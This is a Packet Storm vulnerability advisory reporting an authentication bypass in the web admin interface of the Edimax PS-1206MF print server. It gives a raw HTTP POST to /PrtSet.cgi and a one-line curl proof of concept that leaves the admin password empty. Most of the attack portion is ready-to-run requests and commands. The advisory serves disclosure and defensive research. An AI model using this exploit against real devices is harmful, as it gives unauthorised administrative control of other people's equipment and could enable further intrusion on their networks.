Edimax PS-1206MF Authentication Bypass

2015-08-31T00:00:00
ID PACKETSTORM:133380
Type packetstorm
Reporter Smash_
Modified 2015-08-31T00:00:00

Description

                                        
                                            `# Title: Edimax PS-1206MF - Web Admin Auth Bypass  
# Date: 30.08.15  
# Vendor: edimax.com  
# Firmware version: 4.8.25  
# Author: Smash_  
# Contact: smash [at] devilteam.pl  
  
  
HTTP authorization is not being properly verified while sendind POST requests to .cgi, remote attacker is able to change specific settings or even reset admin password.  
  
By default, it is necessary to know current password in order to change it, but when request will be missing POST anewpass & confpass parameters, admin password will be set to null.  
  
devil@hell:~$ curl -gi http://192.168.0.10/  
HTTP/1.1 401   
Date: Sat, 21 Dec 1996 12:00:00 GMT  
WWW-Authenticate: Basic realm="Default password:1234"  
  
401 Unauthorized - User authentication is required.  
  
Request:  
POST /PrtSet.cgi HTTP/1.1  
Host: 192.168.0.10  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.0.10/pssystem.htm  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 103  
  
BoxName=MFD55329&anewpass=1234&confpass=1234&PSPORTNAME1=&PSPORTNAME2=&PSPORTNAME3=&save.x=47&save.y=11  
  
Response:  
HTTP/1.1 200 OK  
Date: Sat, 21 Dec 1996 12:00:00 GMT  
Content-type: text/html  
  
<html><head><title>Advance Settings</title><link rel="stylesheet" href="set.css"></head>  
(...)  
  
  
Following curl request will set admin account with empty password.  
  
PoC:  
devil@hell:~$ curl -XPOST --data "" -s http://192.168.0.10/PrtSet.cgi > /dev/null  
  
  
`